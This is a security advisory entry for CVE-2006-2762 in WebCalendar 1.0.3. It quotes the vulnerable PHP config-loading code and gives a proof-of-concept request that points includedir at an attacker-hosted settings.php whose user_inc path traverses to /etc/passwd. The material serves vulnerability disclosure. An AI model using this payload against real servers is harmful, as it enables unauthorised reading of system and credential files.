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Home arrow SecurityAlert Database

Arrow  Topic :

WebCalendar-1.0.3 reading of any files


Arrow  SecurityAlert : 1019
Arrow  CVE : CVE-2006-2762
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : socsam linuxmail org
Arrow  Published : 06.06.2006

Arrow  Affected Software : WebCalendar-1.0.3



Arrow  Advisory Content :  

Version: WebCalendar-1.0.3

Type: Reading of any files

Description:

-----------------------------

includes/config.php:

line 64

if ( ! empty ( $includedir ) )

$fd = @fopen ( "$includedir/settings.php", "rb", true );

......

while ( ! feof ( $fd ) ) {

$data .= fgets ( $fd, 4096 );

}

$configLines = explode ( "n", $data );

for ( $n = 0; $n < count ( $configLines ); $n++ ) {

......

$settings[$matches[1]] = $matches[2];

......

$user_inc = $settings['user_inc'];

......

includes/init.php

include_once "includes/$user_inc";

Example:

---------------------------------------

index.php?includedir=http://attacker_host

where in attacker_host exists file settings.php , which content

"

<?php

echo '<?php

# updated via install/index.php on Wed, 24 May 2006 09:29:55 +0300

Unimportant variables can be taken from original settings.php

user_inc: ../../../../../../../../../../../../../../../../etc/passwd

# end settings.php

?>';

?>

"

Requirements

register_globals = On;




Arrow  Feedback :

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